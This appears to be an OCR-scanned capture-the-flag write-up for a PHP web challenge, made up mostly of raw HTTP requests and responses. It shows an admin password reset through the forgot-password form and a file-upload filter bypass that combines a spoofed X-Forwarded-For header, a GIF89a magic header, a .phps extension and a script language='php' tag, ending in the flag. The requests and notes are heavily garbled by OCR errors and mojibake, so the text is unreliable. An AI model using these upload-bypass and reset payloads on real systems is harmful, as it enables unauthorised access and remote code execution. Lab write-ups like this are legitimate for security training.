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Sorry, You are not admin!
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FEREFERLT, ZkmA, .

POST findex. php?module=findpwd&step=2&doSubmit=yes HTTP/1.1

Host: 111.200.241.244:43586

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4; x64; nv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp *™*;q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Caontent-Type: application/x-www-form-urlencoded

Caontent-Length: 24

Orrigin: hitp:f111.200.241.244: 43586

Connection: close

Referer: http://111.200.241.244:43586/index. php?module=findpwd&step=1&doSubmit=yes
Cookie: PHPSESSID=balbdevimjhaSekpedijriink

Upgrade-Insecure-Requests: 1

username=111&newpwd=root

2 ¥ username i Nadmin:

—|POST findex. php?module=findpwd&step=28&doSubmit=yes HTTP/1.1

Host: 111.200.241.244:43586

| E User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:86.0) Gecko/20100101 Firefox/86.0
0.dAccept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp " q=0.8

0.3 Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: application/s-www-form-urlencoded

Content-Length: 24

Crigin: http:/111.200.241.244: 43556

s Connection: close

Referer: http://111.200.241.244:43586/index. php?module=findpwd&step=18&doSubmit=yes
Cookie: PHPSESSID=halbdevimjhaSekpedijriink

Upgrade-Insecure-Requests: 1

username=admin&newpwd=root|
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Where Is The Flag?



HEIRMG:

<div class="wbox">
<div elass="container">
<p>Where Is The Flag?</p>
<p style="font-size:100px">: )</p>
</div>
</div>
<!—— index.php?fmodule=filemanage&do=777-—->
</body>
</html>

WRoRCEE, B4, T#, ME? ? (upload, download, delete) :

© & 111.200.241.244:43586/index.php?module=filemanage&do=upload

Just image?

SR,

uploadmid, CHF bA%.
FEEA:

POST findex.php?module=filemanagefdo=upload HTTR/1.1

Host: 111.200.241 244: 43566

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:86.0) Gecko/20100101
Firefox/86.0

Accept: text/html application/xhtml+xml application/xml; g=0.9 image/webp " q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,g=0.7 zh-HK;q=0.5 2n-U5;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=--e-eeeeeeeeeee e B9611778011017499022321924762

Content-Length: 224

Origin: http://111.200.241.244:43566

Connection: close

Referar; http://111.200.241.244:43586/index. php?module=filemanage&do=upload
Cookie: PHPSESSID=holbdcvimjhaSekpegijrtink1;

user=4b9987 coafachBdEfc08d22bhcarITha

Upgrade-Insecure-Requests: 1

¥-Forwarded-For: 127.0.0.1

o

e e 1

HTTR/1.1 200 0K

Date: Thu, 11 Mar 2021 06:18:37 GMT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.9-1ubuntud . 26
Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Cantrol: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Wary: Accept-Encoding

Content-Length: 227

Connection: close

Content-Type: text/htm|

<IDOCTYPE html=
<html>
<head>
<title>Message </title>
<meta charset="UTF-8" />
</head>



----------------------------- BB T EUT U 4990223219281 B2

<hody>

Content-Disposition: form-data; name="upfile"; ﬂlenamet"ctf.png" |
Content-Type: image/png

GIF&9a
............................. 89611778011017499022321924762--

EAEphp3cfs:

POST findex. php?module=fileranage&do=upload HTTP/1.1

Host: 111.200.241.244:43586

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:86.0) Gecko/20100101
Firefox/86.0

Accept: text/html application/xhtml+xml applicationfxml; q=0.9 image/webp */*q=0.8
Accept-Language: zh-CM,zh;q=0.8, zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;¢=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

bOUNdary=- e BIE611778011017499022321924762

Content-Length: 224

Origin: http://111.200.241.244:43586

Connection: close

Referer: http://111.200.241.244:43586/index. php?module=filemanage&do=upload
Cookie: PHPSESSID=haolbdcvimjhaSekpesijriink1;

user=4b9987 ccafachBdafc0Bd22bhcar97ha

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

----------------------------- 89611776011017499022321924762

Content-Disposition: form-data; name="upfile"; filename="ctf.php"

e

- <script=alert("You know what |
want!);</script=<script>window.location.href="index.php'</script></body=</htrml>

HTTP/1.1 200 0K

Date: Thu, 11 Mar 2021 06:19:13 GMT

Semnver: Apache/2 4.7 (Ubuntu)

X-Powered-By: PHP/S.5.9-1ubuntud. 26

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 218

Connection: close

Content-Type: text/html

<IDOCTYPE htmf>

<html=

<head=
<title>Message</title>
<meta charset="UTF-8" />

<fhead>

<hody=

<script=alert(’lt is a

Content-Type: image/png

GIF89a
----------------------------- 896117768011017499022321924762-
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php!);</script=<script>window.location.href="index.php’</script></body=</html>

POST findex. php?madule=filemanage &do=upload HTTP/1.1

Host: 111.200.241.244:43586

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv:86.0) Gecko/20100101
Firefox/86.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp */*q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,=0.7 zh-HK; q=0.5 ,.en-US;q=0.3 en;q=0.2
JAccept-Encoding: gzip, deflate

7| Content-Type: multipart/form-data;

B LTI T 89611778011017492022321924762

4 Content-Length: 244

af Origin: http://111.200.241.244: 43586

“| connection: close

" Referer: http:/(/111.200.241.244:43586/index. php?module=filermanage &do=upload
Cookie: PHPSESSID=halbdcvimjhasekpe8ijrlink1;

.| user=4b9987 ccafach8dBfc0Bd22bhca797ha

Upgrade-Insecure-Requests: 1

4 X-Forwarded-For: 127.0.0.1

[ mrmmem e B96117780110174990223
Content-Disposition: form-data; name="upfile};
Content-Type: image/png
GIFg9a

<?php phpinfaf); 7> /

----------------------------- 89611778011017499022321924762--

L

HTTR/M.1 200 0K

Date: Thu, 11 Mar 2021 06:19:57 GMT
Server: Apachef2.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.9-1ubuntud 26
Euxpirzs: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Wary: Accept-Encoding

Content-Length: 234

Connaction: close

Content-Type: text/htm|

<IDOCTYPE htmi>
<htrnl=
<head>
<title>Message<ititle>
<meta charset="UTF-8" /=
<lhead=
<hbody=>
<script=alert('Something shows it is a
php!):</script=<script>window.location.href="index.php’</script=</body></html>

KEERFIE T, WAENRERATI Bphps R, CHE A BERphp.

i LApayload:

%: <script language='php'>111</script>

X A4:44: php4 php5 phtml&E (X H#F4% HAEphp4, php5)



" |POST findex. php?module=filemanage&do=upload HTTP/1.1

Host: 111.200.241.244:43586

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:86.0) Gecko/20100101
Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xml, g=0.9 imags/webp,**,q=0.5
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 &n-US;q=0.3 en;q=0.2
 Accept-Encaoding: gzip, deflate

| Content-Type: muttipartform-data;

o BOUNdEry= e B9611778011017499022321924762

Content-Length: 254

Origin: http:/7111.200.241.244:43586

Connection: close

Referer: http://111.200 241 244:43586/index. php?madule=filemanage&do=upload
Cookie: PHPSESSID=bolbdcvimjhaSekpedijrink1;

use=4b9987 ceafachB8dBfc08d22bbeaTa7 ba

| Upgrade-Insecure-Requests: 1

|¥-Forwarded-For: 127.0.0.1

i

————————————————————————————— B9611778011017499022321524762
Content-Disposition: form-data; name="upfile"; filename="ctf. phps"
Content-Type: image/png

<script language="php'>111</script=>
----------------------------- B9611778011017499022321924762--
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<? ... > (EEEBEXXMHHi@Eitshort_open_tagfl IT)
<?php ... ?>

<script language="php"> ... </script>

<% ... %> (ASPRUIKIRZS, 7E5.3.0MF M)

A HTTR/ .1 200 0K

r Date: Thu, 11 Mar 2021 06:24:03 GMT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/S.5.9-1ubuntud 26
Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Wary: Accept-Encoding

Content-Length: 287

Connection: close

Content-Type: text/htm!

<IDOCTYPE htmi>
<html>
<head=
<litle>Message=</title>
<meta charset="UTF-8" />
</head=
<hody>
<script=alert('you have get points,here is the
e Ha

g:cyherpeace{0f94e0daaa3flcd281311c7816823a00));</script=<script>window.location.href="index.ph

p</script></hody=</html>
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